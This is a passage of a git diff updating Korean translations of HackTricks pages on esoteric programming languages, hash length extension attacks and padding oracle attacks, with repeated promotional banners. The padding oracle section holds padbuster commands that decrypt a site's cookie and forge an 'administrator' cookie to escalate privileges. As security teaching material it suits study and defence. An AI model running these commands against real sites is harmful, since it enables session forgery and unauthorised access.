-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/crypto-and-stego/esoteric-languages.md b/crypto-and-stego/esoteric-languages.md
index 73cd1a59b..dcf92ad65 100644
--- a/crypto-and-stego/esoteric-languages.md
+++ b/crypto-and-stego/esoteric-languages.md
@@ -1,22 +1,25 @@
-# 이상한 언어
+# 에소테릭 언어
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요
+HackTricks 지원하기
-* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
-* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
-* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **해킹 트릭을 공유하고 싶으시다면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요**.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
-## [이상한 언어 위키](https://esolangs.org/wiki/Main\_Page)
+## [Esolangs 위키](https://esolangs.org/wiki/Main\_Page)
-더 많은 이상한 언어를 검색하려면 해당 위키를 확인하세요
+더 많은 에소테릭 언어를 검색하려면 해당 위키를 확인하세요.
-## Malbolge
+## 말볼지
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=
@@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
-
-PETOOH는 러시아의 프로그래밍 언어로, 두 가지 명령어와 무한한 메모리 테이프를 사용합니다. 이 언어는 러시아어 단어를 사용하여 코드를 작성하며, 코드의 실행은 인터프리터에 의해 이루어집니다.
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹 배우기htARTE (HackTricks AWS Red Team 전문가)!
+HackTricks 지원하기
-* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
-* **다음에 가입하세요** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 혹은 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **해킹 트릭을 공유하세요** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출함으로써.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/crypto-and-stego/hash-length-extension-attack.md b/crypto-and-stego/hash-length-extension-attack.md
index 0e26ba445..a356b68c9 100644
--- a/crypto-and-stego/hash-length-extension-attack.md
+++ b/crypto-and-stego/hash-length-extension-attack.md
@@ -1,28 +1,29 @@
# 해시 길이 확장 공격
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
+[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
-WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
+WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
-그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
+그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
@@ -30,59 +31,60 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로
## 공격 요약
-일부 **알려진 평문 데이터에 비밀을 추가**하고 해당 데이터를 해싱하는 서버를 상상해보십시오. 다음을 알고 있다면:
+서버가 **데이터**에 **비밀**을 추가하여 **서명**하고 그 데이터를 해시한다고 상상해 보십시오. 다음을 알고 있다면:
-* **비밀의 길이** (주어진 길이 범위에서도 브루트포스 가능)
-* **평문 데이터**
-* **알고리즘 (이 공격에 취약한)**
-* **패딩이 알려져 있다**
-* 일반적으로 기본값이 사용되므로, 다른 3가지 요구 사항이 충족되면 이것도 사용됨
-* 패딩은 비밀+데이터의 길이에 따라 달라지므로, 비밀의 길이가 필요함
+* **비밀의 길이** (주어진 길이 범위에서 무차별 대입으로도 알 수 있음)
+* **명확한 텍스트 데이터**
+* **알고리즘 (이 공격에 취약함)**
+* **패딩이 알려져 있음**
+* 일반적으로 기본값이 사용되므로 다른 3가지 요구 사항이 충족되면 이것도 해당됨
+* 패딩은 비밀 + 데이터의 길이에 따라 달라지므로 비밀의 길이가 필요함
-그러면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명을 생성**할 수 있습니다.
+그렇다면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**하는 것이 가능합니다.
### 어떻게?
-기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하고, 그런 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
+기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해시**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해시**합니다.
-그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
-공격자가 문자열 "append"를 추가하려면:
+그런 다음 비밀이 "secret"이고 데이터가 "data"라고 가정해 보십시오. "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
+공격자가 "append" 문자열을 추가하고 싶다면 다음과 같이 할 수 있습니다:
-* 64개의 "A"의 MD5를 생성
+* 64개의 "A"로 MD5 생성
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
-* 문자열 "append"를 추가
-* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 유효한 것이 될 것입니다
+* "append" 문자열 추가
+* 해시를 완료하면 결과 해시는 "secret" + "data" + "padding" + "append"에 대한 **유효한 해시**가 됩니다.
### **도구**
{% embed url="https://github.com/iagox86/hash_extender" %}
-### 참고 자료
+### 참고자료
-이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 확인할 수 있습니다.
#### [WhiteIntel](https://whiteintel.io)
-[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
+[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
-WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
+WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
-그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
+그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
{% embed url="https://whiteintel.io" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %}
diff --git a/crypto-and-stego/padding-oracle-priv.md b/crypto-and-stego/padding-oracle-priv.md
index 302fdcff9..98635a6da 100644
--- a/crypto-and-stego/padding-oracle-priv.md
+++ b/crypto-and-stego/padding-oracle-priv.md
@@ -1,37 +1,38 @@
-# 패딩 오라클
+# Padding Oracle
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고**되길 원하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## CBC - Cipher Block Chaining
-CBC 모드에서는 **이전에 암호화된 블록이 IV로 사용**되어 다음 블록과 XOR됩니다:
+In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
-CBC를 복호화하려면 **반대로** **작업**을 수행합니다:
+To decrypt CBC the **opposite** **operations** are done:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
-**암호화 키**와 **IV**를 사용해야 함에 주목하세요.
+Notice how it's needed to use an **encryption** **key** and an **IV**.
-## 메시지 패딩
+## Message Padding
-암호화가 **고정된 크기의 블록**에서 수행되므로 **패딩**이 **마지막 블록**에서 길이를 완성하는 데 필요합니다.\
-일반적으로 **PKCS7**이 사용되며, 이는 블록을 완성하는 데 필요한 **바이트 수를 반복**하는 패딩을 생성합니다. 예를 들어, 마지막 블록이 3바이트 부족한 경우 패딩은 `\x03\x03\x03`이 됩니다.
+As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
+Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
-**8바이트 길이의 2개 블록**에 대한 더 많은 예제를 살펴봅시다:
+Let's look at more examples with a **2 blocks of length 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -40,43 +41,43 @@ CBC를 복호화하려면 **반대로** **작업**을 수행합니다:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-마지막 예제에서 **마지막 블록이 가득 찼으므로 패딩만 있는 다른 블록이 생성**된 것을 주목하세요.
+Note how in the last example the **last block was full so another one was generated only with padding**.
-## 패딩 오라클
+## Padding Oracle
-응용 프로그램이 암호화된 데이터를 복호화하면 먼저 데이터를 복호화한 다음 패딩을 제거합니다. 패딩을 정리하는 동안 **잘못된 패딩이 감지 가능한 동작을 유발**하면 **패딩 오라클 취약점**이 있습니다. 감지 가능한 동작은 **오류**, **결과 부족**, 또는 **응답이 느림**일 수 있습니다.
+When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
-이 동작을 감지하면 **암호화된 데이터를 복호화**하고 심지어 **임의의 평문을 암호화**할 수 있습니다.
+If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
-### 악용 방법
+### How to exploit
-이 유형의 취약점을 악용하려면 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)를 사용하거나 단순히 수행할 수 있습니다.
+You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
```
sudo apt-get install padbuster
```
-사이트의 쿠키가 취약한지 테스트하려면 다음을 시도할 수 있습니다:
+사이트의 쿠키가 취약한지 테스트하기 위해 다음을 시도할 수 있습니다:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
-**인코딩 0**은 **base64**가 사용된다는 것을 의미합니다(그러나 다른 것들도 사용할 수 있습니다, 도움 메뉴를 확인하세요).
+**Encoding 0**는 **base64**가 사용된다는 것을 의미합니다 (하지만 다른 것도 사용 가능하니 도움말 메뉴를 확인하세요).
-또한 이 취약점을 악용하여 새 데이터를 암호화할 수 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"인 경우, 이를 "\_user=administrator\_"로 변경하여 응용 프로그램 내에서 권한을 상승시킬 수 있습니다. 또한 `-plaintext` 매개변수를 지정하여 `paduster`를 사용하여 이를 수행할 수도 있습니다:
+이 취약점을 **악용하여 새로운 데이터를 암호화할 수도 있습니다. 예를 들어, 쿠키의 내용이 "**_**user=MyUsername**_**"이라고 가정하면, 이를 "\_user=administrator\_"로 변경하여 애플리케이션 내에서 권한을 상승시킬 수 있습니다. `paduster`를 사용하여 -plaintext** 매개변수를 지정하여 이를 수행할 수도 있습니다:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-만약 사이트가 취약하다면 `padbuster`는 자동으로 패딩 오류가 발생할 때를 찾으려고 시도할 것이지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
+사이트가 취약한 경우 `padbuster`는 패딩 오류가 발생할 때를 자동으로 찾으려고 시도하지만, **-error** 매개변수를 사용하여 오류 메시지를 지정할 수도 있습니다.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### 이론
-**요약**하면, 모든 **다른 패딩**을 만들 수 있는 올바른 값을 추측하여 암호화된 데이터의 복호화를 시작할 수 있습니다. 그런 다음, 패딩 오라클 공격은 **1, 2, 3 등의 패딩을 만드는 올바른 값**을 추측하여 끝에서 시작하여 바이트를 복호화하기 시작합니다.
+**요약**하자면, 모든 **다양한 패딩**을 생성하는 데 사용할 수 있는 올바른 값을 추측하여 암호화된 데이터를 복호화하기 시작할 수 있습니다. 그런 다음 패딩 오라클 공격은 올바른 값이 **1, 2, 3 등의 패딩을 생성하는지** 추측하면서 끝에서 시작으로 바이트를 복호화하기 시작합니다.
![](<../.gitbook/assets/image (561).png>)
-**E0에서 E15**까지의 바이트로 구성된 **2개 블록**을 차지하는 암호화된 텍스트가 있다고 상상해보세요.\
-**마지막 블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 통해 **중간 바이트 I0에서 I15**를 생성합니다.\
-마지막으로, 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 그래서:
+암호화된 텍스트가 **E0에서 E15**까지의 바이트로 형성된 **2 블록**을 차지한다고 가정해 보겠습니다.\
+**마지막** **블록**(**E8**에서 **E15**)을 **복호화**하기 위해 전체 블록은 "블록 암호 복호화"를 거쳐 **중간 바이트 I0에서 I15**를 생성합니다.\
+마지막으로 각 중간 바이트는 이전 암호화된 바이트(E0에서 E7)와 **XOR**됩니다. 따라서:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@@ -84,41 +85,42 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4`
* ...
-이제, `C15`가 `0x01`이 될 때까지 `E7`을 수정하여 **`E'7`를 찾을 수 있습니다**. 이는 올바른 패딩이 될 것입니다. 따라서, 이 경우에는: `\x01 = I15 ^ E'7`
+이제 **`C15`가 `0x01`이 될 때까지 `E7`을 수정하는 것이 가능**합니다. 이는 올바른 패딩이기도 합니다. 따라서 이 경우: `\x01 = I15 ^ E'7`
-그래서, `E'7`을 찾으면 **`I15`를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
+따라서 E'7을 찾으면 **I15를 계산할 수 있습니다**: `I15 = 0x01 ^ E'7`
-이를 통해 **`C15`를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+이로 인해 **C15를 계산할 수 있습니다**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-**C15**를 알게 되면, 이제 **`C14`를 계산할 수 있습니다**. 이번에는 패딩 `\x02\x02`를 브루트 포싱하여 계산합니다.
+**C15**를 알면 이제 **C14를 계산할 수 있습니다**, 하지만 이번에는 패딩 `\x02\x02`를 브루트 포스해야 합니다.
-이 BF는 이전 것과 같이 복잡합니다. `E''15`의 값이 0x02인 `E''7 = \x02 ^ I15`를 계산할 수 있으므로 **`C14`가 `0x02`와 같은 `E'14`를 찾는 것만 필요**합니다.\
-그런 다음, **`C14`를 복호화하기 위해 동일한 단계를 수행합니다**: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+이 BF는 이전 것만큼 복잡하며, 값이 0x02인 `E''15`를 계산할 수 있습니다: `E''7 = \x02 ^ I15` 따라서 **`C14`가 `0x02`가 되도록 생성하는 `E'14`**를 찾기만 하면 됩니다.\
+그런 다음 C14를 복호화하기 위해 동일한 단계를 수행합니다: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**전체 암호화된 텍스트를 복호화할 때까지 이 체인을 따릅니다.**
+**이 체인을 따라 전체 암호화된 텍스트를 복호화할 때까지 진행하십시오.**
### 취약점 탐지
-계정을 등록하고 이 계정으로 로그인합니다.\
-**여러 번 로그인**하고 항상 **동일한 쿠키**를 받으면 응용 프로그램에 **문제가 있을 수 있습니다**. 로그인할 때마다 **반드시 고유한 쿠키**가 반환되어야 합니다. 쿠키가 **항상** **동일하면**, 아마도 항상 유효하고 **무효화할 수 없을 것입니다**.
+계정을 등록하고 이 계정으로 로그인하십시오.\
+**여러 번 로그인**하고 항상 **같은 쿠키**를 받는다면, 애플리케이션에 **문제가 있을 가능성**이 높습니다. **로그인할 때마다 반환되는 쿠키는 고유해야** 합니다. 쿠키가 **항상** **같다면**, 아마도 항상 유효할 것이며 이를 **무효화할 방법이 없을 것입니다**.
-이제, **쿠키를 수정**하려고 하면 응용 프로그램에서 **오류**가 발생하는 것을 볼 수 있습니다.\
-그러나 패딩을 BF(예: padbuster 사용)하면 다른 사용자에 대해 유효한 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 매우 취약할 가능성이 높습니다.
+이제 **쿠키를 수정**하려고 하면 애플리케이션에서 **오류**가 발생하는 것을 볼 수 있습니다.\
+하지만 패딩을 BF하면(예: padbuster 사용) 다른 사용자에 대해 유효한 또 다른 쿠키를 얻을 수 있습니다. 이 시나리오는 padbuster에 취약할 가능성이 높습니다.
-### 참고
+### 참고 문헌
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영월까지 AWS 해킹을 배우세요**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 **PR을 제출**하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
